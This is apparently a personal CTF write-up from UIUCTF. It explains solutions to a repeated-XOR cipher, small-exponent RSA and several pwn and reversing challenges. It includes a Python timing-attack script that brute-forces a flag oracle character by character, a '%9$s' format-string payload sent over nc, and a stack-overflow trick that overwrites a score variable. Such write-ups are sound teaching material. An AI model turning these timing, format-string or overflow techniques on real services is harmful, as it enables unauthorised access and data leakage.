I competed in UIUCTF this year with Aaron Cao. We ended up placing 23rd with 1300 points. Here are some of the solutions to the challenges I solved.

High School Crypto (100 points, crypto)

In this challenge, we are basically given some encrypted information, as well as the following encryption program.

import sys, itertools
if(len(sys.argv) != 3):
print("Usage: [FILE] [KEY]")
exit(-1)

filename = sys.argv[1]
key = sys.argv[2]

with open(filename, 'rb') as plaintext:
raw = plaintext.read()
print(len(raw))
with open(filename + '.out', 'wb') as ciphertext:
for l, r in zip(raw, itertools.cycle(key)):
ciphertext.write( (l ^ ord(r)).to_bytes(1, byteorder='big') )

Upon not-so-close inspection, it seems like it’s just a repeated-xor cipher. Using code that I had written for Cryptopals Set 1, I decoded it quickly, obtaining a long plaintext, containing the flag.

Thematic (100 points, recon)

https://twitter.com/SwiftOnSecurity/status/858092845886046209

Taylor’s Magical Flag Oracle (150 points, reversing)

We’re given a flag-checking service that seems to be vulnerable to timing attack. In essence, here’s what happens: the service checks our flag character by character; if that character is the same, move on to the next, otherwise, just return false, since we know that the string can’t be equal anyway. But in this case, the program delays by 0.25 — a significant amount! — before moving on, to prevent brute force? apparently. But there’s one huge flaw.

If you brute force all of the possibilities for the next character, there’s going to be a significant time gap between returns if you submit the right character vs. if you submit the wrong one. Here’s what it means: say I know the flag starts with flag{ , which I do. Upon submitting flag{, I know it’s going to be delaying for at least 5 * 0.25, which is 1.25 seconds. I don’t know the 6th character yet, but there’s only 2 things that can happen:

  • I get it wrong; the program returns immediately because it doesn’t hit the sleep, and my result is return in ~1.25 seconds, with a bit of latency, but not enough to make it >1.5 seconds.
  • I get it right; the program sleeps for 0.25 before moving on because the pass has checked.

Hopefully the problem becomes obvious now. If I check how long it takes me to get my result, I’ll be able to “guess” the password character by character. Knowing this, here is the script I used to get the flag:

import socket
from functools import wraps
from time import time
from string import printable
addr = ("challenge.uiuc.tf", 11340)
s = socket.socket()
s.connect(addr)
def stopwatch(f):
@wraps(f)
def wrapper(*args, **kwargs):
start = time()
result = f(*args, **kwargs)
end = time()
return end - start
return wrapper
@stopwatch
def test_flag(flag):
global s
s.send(flag + "\n")
s.recv(20) # >
s.recv(20) # >
known_flag = "flag{"
while True:
for c in printable:
benchmark = 0.25 * (len(known_flag) + 1)
actual = test_flag(known_flag + c)
print c, benchmark, actual
if actual > benchmark:
known_flag += c
print known_flag
break

babyrsa (200 points, crypto)

n = 826280450476795403105390383916395625701073920777162153138597185953056944510888027904354828464602421249363674719063026424044747076553321187265165775178889032794638105579799203345357910166892700405175658568627675449699540840288382597105404255643311670752496397923267416409538484199324051251779098290351314013642933189000153869540797043267546151497242578717464980825955180662199508957183411268811625401646070827084944007483568527240194185553478349118552388947992831458170444492412952312967110446929914832061366940165718329077289379496793520793044453012845571593091239615903167358140251268988719634075550032402744471298472559374963794796831888972573597223883502207025864412727194467531305956804869282127211781893423868568924921460804452906287133831167209340798856323714333552031073990953099946860260440120550744737264831895097569281340675979651355169393606387485601024283179141075124116079680183641040638005340147490312370291020282845417263785200481799143148652902589069064306494803532124234850362800892646823909347208346956741220877224626765444423081432186871792825772139369254830825377015531518313838382717867736340509229694011716101360463757629023320658921011843627332643744464724204771008866440681008984222122706436344770910544932757
e = 5
c = 199037898049081148054548566008626493558290050160287889209057083223407180156125399899465196611255722303390874101982934954388936179424024104549780651688160499201410108321518752502957346260593418668796624999582838387982430520095732090601546001755571395014548912727418182188910950322763678024849076083148030838828924108260083080562081253547377722180347372948445614953503124471116393560745613311509380885545728947236076476736881439654048388176520444109172092029548244462475513941506675855751026925250160078913809995564374674278235553349778352067191820570404315381746499936539482369231372882062307188454140330786512148310245052484671692280269741146507675933518321695623680547732771867757371698350343979932499637752314262246864787150534170586075473209768119198889190503283212208200005176410488476529948013610803040328568552414972234514746292014601094331465138374210925373263573292609023829742634966280579621843784216908520325876171463017051928049668240295956697023793952538148945070686999838223927548227156965116574566365108818752174755077045394837234760506722554542515056441166987424547451245495248956829984641868331576895415337336145024631773347254905002735757

Standard RSA challenge, we’re given N, e, and c and we’re asked to find the original message… It’s supposed to be a “baby” RSA challenge, so one thing that came to mind was that m^e is actually less than N. I put the ciphertext c into factordb.com, and it turned out that it was a perfect fifth power! (recall that e=5). The problem became trivial at this point; to get the flag, simply convert the fifth root of c back into ASCII.

goodluck (200 points, pwn)

This challenge was pretty straightforward; once I opened it in IDA, I noticed that it was printf’ing some user-supplied input. I tried a bunch of values with the binary locally until I got the exploit string %9$s, which prints the 9th string on the stack (which is where flag.txt was read to).

michael@zhang:~$ echo “%9\$s” | nc challenge.uiuc.tf 11342 
what’s the flag
You answered:
flag{always_give_110%}
But that was totally wrong lol get rekt

LSLol — Log in, stay here (200 points, reversing)

To be honest, I don’t even know how I solved this one. I think I created an account and just tried a bunch of random stuff until I was at the location indicated in the X-SecondLife-Local-Position header in the URL I was given.

snekquiz (200 points, pwn)

In this challenge, we aren’t given a binary, just a server to connect to. So we kind of have to imagine how it’s programmed. The server asks us 3 questions, then reveals us the answers so we can get all 3 right the next time. But we need a score of 5 to get the flag!

I imagine that the score variable must be in the local scope of whatever function is doing the input loop. If that’s the case, we can definitely overwrite it, since buffer length is not being checked. Apparently stack protector has been enabled so we won’t be able to write out of the stack frame, but that doesn’t really matter since we aren’t even given a binary to work with.

After trying a bunch of values, I got that 88 was the maximum number of As I was allowed to send to the server before I started writing over the canary. I got a message that looked like this:

Score greater than 5 detected! You must be cheating with a score like 1094795585

(for reference, that number is 0x41414141). That means score is being scored in an int. This time, I sent \x05\x00\x00\x00 22 times, hoping that it would overwrite the score variable with the exact value of 5, and it did!